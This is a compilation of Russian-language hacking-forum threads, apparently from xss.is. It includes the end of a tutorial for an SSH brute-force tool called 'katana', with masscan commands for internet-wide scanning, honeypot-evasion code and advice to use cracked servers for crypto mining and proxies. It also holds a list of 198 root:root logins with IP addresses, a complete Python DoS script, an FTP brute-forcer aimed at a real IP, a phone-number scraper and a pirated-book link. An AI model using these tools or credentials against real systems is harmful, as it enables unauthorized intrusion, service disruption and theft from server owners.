А для того, что-бы наш был настоящим хакерским скриптом, то надо придумать какой-нибудь пафосное название, как medusa или hydra.
Поскольку мне нравятся мечи, то пусть будет katana.
И еще одина неотъемлемая часть нашего хакерского инструмента - это ASCII арт в заголовке.

Python:Copy to clipboard

intro = ['                                      ',
         '          katana - the ssh bruteforce tool',
         '              /\\',
         '  /vvvvvvvvvvvv \--------------------------------------,',
         '  `^^^^^^^^^^^^ /====================================="',
         '              \/',
         '                  by dortmund457']

Что-бы все знали кто тут крутой хакер (пишущий 100-строчный сырой скрипт на питоне и на готовых библиотеках), обязательно надо добавить by ваш_ник.

Парсим параметры командной строки:

Python:Copy to clipboard

def parse_args():
    parser = argparse.ArgumentParser(description='katana - the ssh bruteforce tool')
    parser.add_argument('path', type=str, help='path to hosts file')
    parser.add_argument('-c', '--connections',  type=int, default=250, help='count of parallel connections')
    parser.add_argument('-t', '--timeout', type=int, default=7, help='timeout')
    parser.add_argument('-dp', action='store_true', help='disable stdout printing')
    return parser.parse_args()

В итоге имеем обязательный параметр path, в который надо передать путь до файла с хостами.
И 3 необязательных -с и -t отвечающих за количество потоков (asyncio.Semaphore), и таймаут.
Ну и -dp который отключает вывод в stdout (для ускорения экономии ресурсов)
В итоге запускать скрипт надо будет таким образом.

python3 katana.py /home/bomj/hosts.txt -c 300 -t 15

О скорости
Поскольку я холоп, я не знаю какое количество одновременных запросов можно делать с одного хоста. Насколько мне известно это зависит от операционной системы.
По моим наблюдениям оптимальное количество параллельных запросов - 300. Но можно поиграться с этим числом.
300 параллельных коннектов с таймаутом в 5 секунд выдадут:

3600 попыток в минуту
216 000 попыток в час
5 184 000 попыток в сутки

Не могу сказать много это или мало, но это больше чем выдавала hydra и medusa.
А если быть более точным, они не выдают такой результат потому-что в отличии от нашего скрипта - отваливаются спустя 100 000 хостов.

Spoiler: Ну брутфорс сделали, и чо? А где теперь нам взять список хостов?

Список хостов можно добыть с помощью утилиты nmap или masscan
Для массового скана рекомендую использовать последний.
Установить его на ubuntu\debian системах можно так:
apt-get install masscan
На винду тоже есть:
_ttps://github.com/robertdavidgraham/masscan/releases
А запускать его такой командой:
masscan -p22 0.0.0.0-50.0.0.0 --rate=10000 -oG hosts.txt
Где 0.0.0.0-50.0.0.0 это диапазон ip
-p22 это наш 22ой ssh порт
--rate=10000 количество потоков, не рекомендую ставить больше 10 000 хотя можно хоть 300 000 и будет работать, но недолго
-oG записываем результат в файл hosts.txt

О плохом и плохих людях...
O honey pot'ах и умников которые их разрабатывают.
Есть умники, которым заняться не чем и они начинают писать всякую х*ню, для того что-бы нагадить нормальным парням, вроде нас.
Вот неполный список умников и того что они написали:

Code:Copy to clipboard

_ttps://github.com/desaster/kippo
_ttps://github.com/droberson/ssh-honeypot
_ttps://github.com/cowrie/cowrie

Лучше бы нормальным делом занялись.

Что такое honeypot?
Ну если грубо, то эмулятор рабочего ssh подключения, который не является настоящим устройством, а специально разработан, для того что-бы отлавливать таких как мы и более того - смотреть, с какими паролями мы подключаемся и что мы делаем на сервере, когда получим доступ.
Но по факту, к ханипотам подходят любая комбинация из логинов и паролей.
Для того что-бы потом накатать на нас абузу дяде Сему.
Крысятничество - вот истинная сущность honey pot ов.
Ибо 98% всех наших гудов - будут именно honeypot'ы.
Знали бы они, как моя искренняя радость, от вида файла good.txt пополняющегося доступами - заменяется негодованием когда понимаешь что все эти доступы - мусор.

Как c ними бороться?
Ну насколько я понимаю так-же как и малваре-писатели борются с песочницами. Надо высмотреть какой-то параметр системы, который есть именно у песочницы или виртуалки.
Будть то наличие диска _D:_ на windows системах, id драйверов итд. Так - же и нам, надо поковырять систему... а если быть точным - много систем одинакового типа, для того что-бы определить 1 общий параметр у honeypot'ов, по которому мы будем их исключать. По буржуйски это называется фингерпринтинг.

Spoiler: Вот к примеру список из 198 таких

Code:Copy to clipboard

root:root:118.89.25.121
root:root:119.160.131.176
root:root:123.206.108.219
root:root:123.59.120.95
root:root:123.59.213.102
root:root:123.207.107.83
root:root:123.59.213.136
root:root:123.59.213.25
root:root:128.0.186.230
root:root:123.59.213.82
root:root:123.59.213.77
root:root:129.205.5.186
root:root:115.110.207.121
root:root:123.59.213.79
root:root:13.232.93.179
root:root:13.211.74.111
root:root:13.211.31.230
root:root:123.59.213.85
root:root:13.250.104.221
root:root:134.209.188.85
root:root:132.147.91.145
root:root:13.250.64.15
root:root:13.233.123.67
root:root:134.209.192.195
root:root:134.209.247.68
root:root:134.209.24.140
root:root:134.122.28.67
root:root:134.209.77.174
root:root:134.209.152.254
root:root:134.209.25.247
root:root:134.209.99.171
root:root:13.52.218.70
root:root:13.58.234.170
root:root:13.58.84.254
root:root:13.59.146.46
root:root:138.197.165.238
root:root:138.197.142.60
root:root:138.197.155.137
root:root:138.197.140.147
root:root:138.68.62.134
root:root:138.68.62.24
root:root:139.59.23.196
root:root:138.68.53.175
root:root:138.68.59.241
root:root:139.180.144.190
root:root:138.68.57.220
root:root:139.180.137.112
root:root:139.59.61.68
root:root:139.180.213.82
root:root:139.59.20.60
root:root:139.178.108.63
root:root:139.59.69.23
root:root:139.59.70.64
root:root:139.59.39.126
root:root:139.59.77.170
root:root:139.59.40.28
root:root:139.59.58.113
root:root:139.59.92.207
root:root:139.59.95.39
root:root:139.59.79.115
root:root:139.59.92.226
root:root:142.93.128.164
root:root:139.59.78.53
root:root:139.59.95.41
root:root:141.170.139.62
root:root:142.93.55.88
root:root:142.93.82.94
root:root:142.93.68.68
root:root:151.96.2.68
root:root:142.93.19.63
root:root:167.71.158.217
root:root:167.172.97.186
root:root:18.156.163.184
root:root:167.172.97.175
root:root:18.156.165.232
root:root:18.156.173.67
root:root:165.22.106.216
root:root:153.127.16.167
root:root:178.128.84.186
root:root:18.138.58.37
root:root:18.139.255.161
root:root:139.59.8.37
root:root:1.65.155.155
root:root:18.197.40.88
root:root:18.162.48.21
root:root:18.208.142.77
root:root:18.221.47.178
root:root:18.212.96.94
root:root:185.167.184.63
root:root:194.213.60.70
root:root:194.228.3.52
root:root:200.70.38.5
root:root:193.165.172.18
root:root:209.97.152.252
root:root:201.234.91.59
root:root:193.165.115.238
root:root:196.0.42.110
root:root:210.149.76.192
root:root:213.144.147.49
root:root:213.211.54.140
root:root:210.69.12.79
root:root:213.220.214.202
root:root:220.242.130.193
root:root:213.194.253.117
root:root:217.30.77.180
root:root:217.170.103.137
root:root:3.0.51.68
root:root:216.104.206.228
root:root:31.134.100.205
root:root:24.35.86.207
root:root:24.247.231.170
root:root:3.127.235.39
root:root:3.12.73.105
root:root:31.208.216.151
root:root:34.202.160.161
root:root:31.31.231.153
root:root:31.47.99.177
root:root:3.248.209.133
root:root:34.210.126.30
root:root:34.201.92.252
root:root:34.228.8.33
root:root:34.243.131.202
root:root:34.229.202.21
root:root:34.252.18.236
root:root:34.245.34.255
root:root:34.201.105.107
root:root:34.242.128.182
root:root:35.175.122.13
root:root:24.62.28.8
root:root:34.93.228.186
root:root:35.185.167.211
root:root:34.93.147.233
root:root:35.176.29.24
root:root:37.187.120.109
root:root:35.200.133.234
root:root:35.229.196.157
root:root:35.200.181.232
root:root:37.17.234.117
root:root:37.221.254.179
root:root:37.143.116.69
root:root:3.80.111.151
root:root:37.143.114.239
root:root:3.84.213.22
root:root:37.44.20.140
root:root:3.217.16.191
root:root:3.87.116.114
root:root:3.87.173.172
root:root:3.88.187.21
root:root:3.90.29.58
root:root:3.90.199.41
root:root:3.94.194.91
root:root:3.106.131.246
root:root:41.77.78.250
root:root:45.151.175.210
root:root:41.210.129.102
root:root:41.210.129.106
root:root:45.32.41.174
root:root:45.32.118.207
root:root:45.56.75.90
root:root:46.101.34.252
root:root:45.76.151.112
root:root:45.59.126.152
root:root:46.231.72.124
root:root:45.65.244.133
root:root:45.92.238.189
root:root:46.183.57.45
root:root:46.227.182.3
root:root:46.13.58.131
root:root:46.149.120.37
root:root:46.231.72.58
root:root:46.231.72.43
root:root:46.13.100.254
root:root:46.13.170.103
root:root:45.82.233.13
root:root:46.13.30.40
root:root:46.228.24.222
root:root:46.167.231.173
root:root:46.39.185.7
root:root:45.79.212.97
root:root:46.33.117.7
root:root:46.47.166.2
root:root:46.33.119.203
root:root:46.39.164.4
root:root:46.253.99.15
root:root:46.13.59.196
root:root:5.104.16.71
root:root:47.186.38.102
root:root:5.181.51.248
root:root:52.14.192.9
root:root:5.135.189.97
root:root:51.68.106.175
root:root:5.150.236.53
root:root:52.170.187.145
root:root:52.183.13.164
root:root:52.193.202.226
root:root:49.245.126.208
root:root:52.53.167.53
root:root:52.47.137.28

Попробуем найти что-нибудь общее.
Посмотрим состояние дисков командой df и сравним вывод разных ханипотов.

Сразу же видим, что умники создающие ханипоты, не такие уж и умники.
Ибо название диска _ '/dev/disk/by-uuid/65626fdc-e4c5-4539-8745-edc212b9b0af' - _общее для всех ханипотов.

Давайте воспользуемся этим изменим нашу основную корутину и отфильтруем нечестивые доступы.

Python:Copy to clipboard

kippo = '/dev/disk/by-uuid/65626fdc-e4c5-4539-8745-edc212b9b0af'


def is_honeypot(text):
    if kippo in text:
        return True
    else:
        return False

async def make_connection(h, l, p):
    try:
        async with connect(h, username=l, password=p, known_hosts=None) as conn:
            whoami = await conn.run('whoami', check=True, timeout=args.timeout)
            if whoami.stdout.strip().lower() == l:
                if args.ch:
                    df = await conn.run('df', check=True, timeout=args.timeout)
                    if is_honeypot(df.stdout.strip().lower()):
                        return 3
                return 0
    except (ConnectionRefusedError, TimeoutError, ConnectionResetError):
        return 1
    except (ProtocolError, ConnectionLost, ProtocolNotSupported, ChannelOpenError):
        return 1
    except PermissionDenied:
        return 2
    except Exception :
        return 1

Таким образом у нас появился новый код возврата - 3, что означает что хост honeypot.
Так-же поскольку, для проверки хоста мы делаем второй запрс - а это в 2 раза режет скорость нашего чека.
То давайте вынесем функционал проверки под аргумент командной строки -ch и таким образом, проверка хоста на нечестивость будет опциональной функцией.

Python:Copy to clipboard

parser.add_argument('-ch', action='store_true', help='check if host is honeypot')

И можно будет проверит список гудов отдельной проверкой.

На этом все. Полный скрипт прикриплен к теме в архиве.

Что можно еще допиливать в скрипте?
Очень много всего.
В первую очередь можно допилить БД, и записывать результаты туда.
Можно и нужно, отфильтровать оставшиеся ханипоты.
Можно распараллелить работу на несколько ядер используя multiprocessing.
Можно пилить авторазвертывание скрипта на свежеполученных доступах.

Зачем вообще брутить ssh?
Конечно же ради заветных доступов.
Как можно их использоавть?
Да по разному. Можно ставить xmrig, можно подымать прокси-сервер или vpn, а можно дублировать на них наш скрипт и продолжать брутить.
Конечно же большинство доступов будут ip камеры, и девайсы на которых очень маленький запас ресурсов. Но встречаются и высокопроизводительные серверы, и хранилища по 20TB.

**В завершение...

Хочу поблагодарить всех прочитавших, если вы осилили это до конца значит я не зря старался.
Если вам интересна тема брута ssh, то приглашаю обсуждать в тему /threads/37303/ или пишите мне в личку, обменяемся опытом и вместе сделаем че- нибудь получше этого.

Пароль от архива: xss.is
Для людей которые не читали и сразу-же качают скрипт.

Spoiler: Как запустить скрипт

python katana.py /путь/к/спискуip.txt
Результат будет записан в директории из которой запускается скрипт в файлах.
bad.txt - плохие ip
wrong.txt - рабочие сервера, но пароль неправильный (на речек)
good.txt - найденные сервера
honeypot.txt - ханипоты
Описание параметров:
python katana.py --help
-t таймаут в секундах (по дефолту 7)
-с количество параллельных соеденений (по дефолту 250)
-ch чекать на ханипоты (без параметра не чекается, скорость падает в 2 раза, лучше всего чекать уже good.txt

Для работы скрипта необходим интерпретатор Python версии не ниже 3.6
А так-же библиотека asyncssh
pip install asyncssh
или
python -m pip install asyncssh

парсер номеров с OLX на python

ID: 6766c898b4103b69df37676c
Thread ID: 35260
Created: 2020-02-29T12:34:28+0000
Last Post: 2020-09-10T16:32:05+0000
Author: Volstiny
Replies: 8 Views: 4K

Всем привет. Как обещал выкладываю парсер номеров с OLX на python.
Строго не судите я новичок в написании скриптов на python.

Python:Copy to clipboard

import requests
from selenium import webdriver
from bs4 import BeautifulSoup
import time

base_url = 'https://www.olx.ua/nedvizhimost/kvartiry-komnaty/'
driver = webdriver.Edge("D:\\Games\\msedgedriver.exe")

def get_all_ads(base_url):
    total_ads = []
    base_r = requests.get(base_url)
    base_soup = BeautifulSoup(base_r.content, 'html.parser')
    total_page = base_soup.find_all('span', attrs={'class': 'item fleft'})[-1].text
    for i in total_page:
        url = f'https://www.olx.ua/nedvizhimost/kvartiry-komnaty/?page={i}'
        r = requests.get(url)
        soup = BeautifulSoup(r.content, 'html.parser')
        ads = soup.find_all('h3', attrs={'class':'lheight22 margintop5'})
        for ad in ads:
            link_ads = ad.find('a', attrs={'class':'marginright5 link linkWithHash detailsLink'}).get('href')
            total_ads.append(link_ads)
    return total_ads


def get_phone(total_ads, driver):
    total_phone = []
    for ads in total_ads:
        driver.get(ads)
        phone_btn = driver.find_element_by_xpath('//span[@class="spoiler"]')
        phone_btn.click()
        time.sleep(3)
        phone = driver.find_element_by_xpath("//strong[@class='fnormal xx-large']").text
        print(phone)
        driver.quit()
        total_phone.append(phone)
    return total_phone


total_ads = get_all_ads(base_url)
get_phone(total_ads, driver)

Всем хорошего дня ☺

Алгоритмы сортировки и удаления дублей строк в больших TXT файлах объемом от 1ГБ

ID: 6766c898b4103b69df376529
Thread ID: 122978
Created: 2024-09-18T13:54:18+0000
Last Post: 2024-10-22T08:23:33+0000
Author: rand
Replies: 56 Views: 4K

Всем привет, недавно наткнулся на интересный тред: https://xss.is/threads/122300/
ТС же в нем очень перемудрил с алгоритмом на мой взгяд, но это не то что меня заинтересовало. Как реализовать такой функционал на C# (Знаю только Паскаль, Шарп, и Петухон) мне понятно, а вот как сделать это быстро интерпретатором очень интересная задача, так что решил создать тред где буду размещать придуманные мной алгоритмы на ЯП этого раздела.
Продолжу этот тред здесь:

Guron_18 said:

Больше 1gb к примеру. Что бы сортировать такие файлы одного .readlines() будет маловато.
Еще не понятно, что есть юзернеймы? Какой формат строк должен быть?
username? email:pass? разделитель?

Click to expand...

Очень интересная задача для питона, я подумаю на досуге за алгоритм сортировки и удаления дублей в большом файле без критичного потребления ОЗУ. Всё что пока пришло на ум для быстрой очистки от дублей это применить функцию set (множества элементов) в списке, сгенерировал файл с дублями в объеме до 2 гигов (точный размер 1.84гб) такого вида:

В целом получилось чуть больше 108 миллионов строк, размер ОЗУ моей системы 32 гигабайта (в пике потребление по диспетчеру задач у скрипта в районе 12-14 гигабайт). На обработку скрипта ушло:

На выходе получилось как-то так:

main.py

Python:Copy to clipboard

import time

name_file = "bd_dublicate.txt" # Передаю имя исходного файла

tic = time.perf_counter() # Запускаем таймер и вычисляем время работы скрипта в секундах

# Чтение файла
with open(name_file, 'r', encoding='utf-8') as file:
    f = file.read()

# Разделение строк
total = f.split('\n')
# Удаление дубликатов
unique_lines = list(set(total))
#print(unique_lines)

# Подсчет удаленных строк
print(len(total) - len(unique_lines), 'всего удалённых строк')

# Запись уникальных строк в новый файл
with open("output.txt", 'w', encoding='utf-8') as output_file:
    output_file.write('\n'.join(unique_lines))
    print("Файл успешно сохранен.")
tac = time.perf_counter()
print(f"Удаление дублей заняло {tac - tic:0.4f} секунд")

blockchair_blockchain said:

У меня есть АП ULP и вариант им почистить его от дублей? 500гб вес... за*бался искаться софт для удаление дублей в ULP

Click to expand...

Можно попробовать файл поделить на несколько частей, к примеру по 2 гигабайта, пройтись по ним алгоритмом выше в цикле, а потом объединить всё в один файл, но это в теории. Пока не имею возможности сгенерировать такой объем для проверки этой теории. Ну и также на границе смещения могут быть дубли при таком подходе.

Пишем свой DOS скрипт на Python3

ID: 6766c898b4103b69df3767a9
Thread ID: 30857
Created: 2019-08-06T15:06:22+0000
Last Post: 2019-10-30T10:49:20+0000
Author: pablo
Replies: 9 Views: 4K

Всем привет!
Сегодня я вам покажу, как вы можете написать свой скрипт для DOS атак. Напоминаю, ddos - много атакующих и одна цель. dos - один атакующий и одна цель. То есть цель этой статьи - написание скрипта для отсылки большого количества пакетов на удаленную машину с целью довести её до отказа.

Отказ произойдет на том моменте, когда пакетов будет слишком много и компьютер не будет успевать обрабатывать их и отсылать ответ.

Давайте сначала установим зависимости для нашего Python3. Их всего 3: colorama, requests, threading.
Команда, которой вы можете это всё установить под Linux:

Bash:Copy to clipboard

sudo apt update && sudo apt install python3-pip && pip3 install colorama && pip3 install threading && pip3 install requests

Объясню для чего нужна каждая зависимость.
colorama - библиотека, которая упростит работу с цветами в консоли. Можете обойтись без неё, использую спец. символы консоли, как в .sh скриптах, либо всё сделать одного цвета.
requests - библиотека, которая позволит отправлять post/get запросы на удаленный сервер.
threading - библиотека, которая обеспечит многопоточность программы. Многопоточность увеличит скорость.

Приступим к написанию.

Сначала импортируем наши библиотеки, которые мы установили несколько минут назад.

Python:Copy to clipboard

import colorama
import threading
import requests

Дальше напишем функцию, которая будет отправлять запросы и контролировать состояние цели:

Python:Copy to clipboard

def dos(target):
    while True:
        try:
            res = requests.get(target)
            print(colorama.Fore.YELLOW + "Request sent!" + colorama.Fore.WHITE)
        except requests.exceptions.ConnectionError:
            print(colorama.Fore.RED + "[+] " + colorama.Fore.LIGHTGREEN_EX + "Connection error!")

В этой функции мы входим в бесконечный цикл (кстати он нам не страшен, так как у нас много потоков и это всё работает постоянно.), так как завершать работу программы
мы будем сочетанием клавиш ctrl+c. Так же вы можете модифицировать функцию, например как только сервер начал не отвечать прекратить работу. Ну это дело вкуса. Всё в ваших руках.

Дальше приступим к главному коду.

Python:Copy to clipboard

threads = 20

url = input("URL: ")

try:
    threads = int(input("Threads: "))
except ValueError:
    exit("Threads count is incorrect!")

if threads == 0:
    exit("Threads count is incorrect!")

if not url.__contains__("http"):
    exit("URL doesnt contains http or https!")

if not url.__contains__("."):
    exit("Invalid domain")

for i in range(0, threads):
    thr = threading.Thread(target=dos, args=(url,))
    thr.start()
    print(str(i + 1) + " thread started!")

Теперь объясняю. Создаем переменную threads , в которой мы будем хранить количество потоков. Я по умолчанию на 20 поставил. (Это не очень много, чисто поставил для примера). Дальше объявили переменную url , в которую мы запишем домен цели.
Далее мы запрашиваем у пользователя количество потоков, которое он хотел бы использовать. Заметьте мы это делаем в блоке try , если это делать без него, то может выдать исключение, если при преобразовании строки в int попадётся текст.
Дальше мы так же проверяем количество потоков, если их 0, то программа не будет работать. (Ни один поток не запущен - не работает)
Мы проверяем точно ли это ссылка при помощи двух проверок:

Проверка на содержание http/https
Проверка на содержание точки. Если есть точка, то скорее всего после точки идет что-то еще. (Пример: "https://google.com")

Дальше мы создаем в цикле потоки и запускаем их. Ну и так же информируем пользователя о запуске потока под номером i.
Вот собственно и всё.

Spoiler: Полный код

Python:Copy to clipboard

import colorama
import threading
import requests


def dos(target):
    while True:
        try:
            res = requests.get(target)
            print(colorama.Fore.YELLOW + "Request sent!" + colorama.Fore.WHITE)
        except requests.exceptions.ConnectionError:
            print(colorama.Fore.RED + "[+] " + colorama.Fore.LIGHTGREEN_EX + "Connection error!")


threads = 20

url = input("URL: ")

try:
    threads = int(input("Threads: "))
except ValueError:
    exit("Threads count is incorrect!")

if threads == 0:
    exit("Threads count is incorrect!")

if not url.__contains__("http"):
    exit("URL doesnt contains http or https!")

if not url.__contains__("."):
    exit("Invalid domain")

for i in range(0, threads):
    thr = threading.Thread(target=dos, args=(url,))
    thr.start()
    print(str(i + 1) + " thread started!")

Автор @Pazsh

(Python) FTP-Bruter by KevinShindel v0.1 (покритикуйте)

ID: 6766c898b4103b69df3767aa
Thread ID: 27946
Created: 2019-02-18T16:46:15+0000
Last Post: 2019-10-18T18:24:55+0000
Author: Kevin Shindel
Replies: 14 Views: 4K

Всем хай. Написал на коленке первый брутер, буду рад критике.

Code:Copy to clipboard

# coding:utf-8
import ftplib,os,time,socket

# HOSTNAME BLOCK
hostname='117.247.99.29'
dictionary=r'D:\login-pass.txt'

# TIMEOUT BLOCK
time_out=2

# Проверка доступности хоста
def tcping(hostname, port=21, timeout=2):
    s = socket.socket()
    s.settimeout(timeout)
    result = False
    try:
        s.connect((hostname, port))
        s.close()
        result = True
    except Exception, e:
        result = False
    return result

if tcping(hostname):
    print 'Host is up!'
    ftp=ftplib.FTP(hostname,timeout=time_out)

    # Перебор словаря из одного файла
    with open(dictionary,'r') as file:
        for line in file:
            login,password=line.split(':')
            login=str(login).strip()
            password = str(password).strip()
            print '[!] Trying login with %s:%s' % (login, password)
            try:
                time.sleep(time_out)
                if ftp.login(user=login, passwd=password):
                    print '[+] Access granted! Login: %s, Password: %s' % (login, password)
                    ftp.close()
                    break
            except Exception as err:
                print '[-] %s' % err
                # pass  # Ignore errors
    print '[-] BruteForce done... no valid login-pass.'

Пока всё захардкоджено, потом добавлю флаги и аргументы.

Скрипт принимает словарь вида login:pass и айпи адресс жертвы.
Далее пингует её по сокету IP:PORT, если есть пинг значит начинает брут.
Если пинга нет, можно например перескочить на следующий IP.
Дело в том что столкнулся с такой проблемой после н-ного кол-ва брута появляется ошибка [10050] погуглил это вроде как ошибка на уровне сети и дальше сервак зависает.

Что хочу сделать:

добавить многопоток
принимать аргументы из строки
Сократить запись.
Отображать время потраченое на брут, кол-во оставшихся комбинаций и прочую статистику.

Black hat python

ID: 6766c898b4103b69df3767b0
Thread ID: 25613
Created: 2015-01-23T19:54:23+0000
Last Post: 2019-08-30T14:57:54+0000
Author: Quake3
Prefix: Мануал/Книга
Replies: 9 Views: 4K

Описание от издателя:

When it comes to creating powerful and effective hacking tools, Python is the language of choice for most security analysts. But just how does the magic happen?

In Black Hat Python, the latest from Justin Seitz (author of the best- selling Gray Hat Python), you'll explore the darker side of Python's capabilities—writing network sniffers, manipulating packets, infecting virtual machines, creating stealthy trojans, and more. You'll learn how to:

Create a trojan command-and-control using GitHub
Detect sandboxing and automate common malware tasks, like keylogging and screenshotting
Escalate Windows privileges with creative process control
Use offensive memory forensics tricks to retrieve password hashes and inject shellcode into a virtual machine
Extend the popular Burp Suite web-hacking tool
Abuse Windows COM automation to perform a man-in-the-browser attack
Exfiltrate data from a network most sneakily
Insider techniques and creative challenges throughout show you how to extend the hacks and how to write your own exploits.
When it comes to offensive security, your ability to create powerful tools on the fly is indispensable. Learn how in Black Hat Python.

Click to expand...

Содержание http://shop.oreilly.com/product/9781593275907.do

Не путать с Gray Hat Python.
скачать бесплатно и без смс https://www.sendspace.com/file/s03vbt

пдф найдет на просторах инета, по идее не должен содержать "сюрпризы", но все же.

(Python) QIWI TELEGRAM BOT

ID: 6766c898b4103b69df3767b5
Thread ID: 27445
Created: 2019-01-23T21:26:06+0000
Last Post: 2019-06-24T10:11:06+0000
Author: K4NITEL
Replies: 2 Views: 4K

Telegram Qiwi Bot
П риложение создано для рядовых пользователей Telegram и Qiwi
С помощью данного продукта можно совершать банковские операции, просматривать статус платежей, искать ближайшие пункты пополнения, вообщем карманный киви кошелёк в телеграмме

Д ля тех кому лень устанавливать могу дать адрес телеграмм своего бота уже установленного и улучшенной версии для пользования, данная версия с открытым исходным кодом для изучения или чего то ещё)

Пример работы бота** o_O **

Д алее читают те кто хочет разобраться как и через что работает бот, ссылку с инструментом и установкой можно найти в конце статьи.

Введение (используемые API) кликабельно

QiwiAPI

QiwiAPI карт терминалов

API для вычисления города по IP

API Яндекс карт

Геокодер Яндекс карт

[Python-Telegram-Bot](https://github.com/python-telegram-bot/pythontelegram- bot)

Описание реализации

Структура**:**

Приложение разбито на 3 файла

Bot.py — основная логика бота
QIWI_API.py — работа с API
Languages.json — тест кнопок и диалогов

Особенности**:**

Приложение использует 6 видов API Геокодер и Static API от компании «Яндекс» работают в связке с QIWI-Terminal-Map API и FreeGEOIP для отображения пользователю карты терминалов или их адресов. Так же у пользователя есть возможность отправить своё местоположение.
(модули)

:zns3: urllib — отправка GET запросов
:zns3: json — помощь в отправке POST запросов и работа с локализацией
:zns3: time — помощь в отправке POST запросов (UNIX TIME)
:zns3: requests — отправка POST запросов
:zns3: os — очистка рабочей папки после отправки изображения чека
:zns3: telegram (Python-Telegram-Bot) — взаимодействие с серверами Telegram
(классы ошибок)

QiwiError(Exception)

:zns5: SyntaxisError(QiwiError) "Query execution failed"

:zns5: TokenError(QiwiError) "Wrong TOKEN"

:zns5: class NoRightsError(QiwiError): "No right"

:zns5: TransactionNotFound(QiwiError) "Transaction not found or missing payments with specified characteristics"

:zns5: WalletError(QiwiError) "Wallet not found"

:zns5: HistoryError(QiwiError) "Too many requests, the service is temporarily unavailable"

:zns5: MapError(QiwiError) "Map processing errors"

:zns5: NotFoundAddress(MapError) "Could not find address"

:zns5: CheckError(QiwiError) "Could not get check"

:zns5: WrongEmail(CheckError) "Wrong Email address"

:zns5: WrongNumber(QiwiError) "Wrong phone number"

:zns5: TransactionError(QiwiError) "Failed to carry out the transaction"

_ :zns6: _class UserQiwi

UserQiwi.url = https://edge.qiwi.com/

:zns5: self.token(str) = токен пользователя
:zns5: self.headers(dict) = headerы для выполнения запросов
:zns5: self.urls(dict) = формы заполнения ссылок для запросов
:zns5: self.currency(dict) = «конвертер валюты»
:zns5: self.identification(dict) = «конвертер идентификаторов»
:zns5: self.user_date(dict) = информация о пользователе

_ :zns6: _class UserQiwi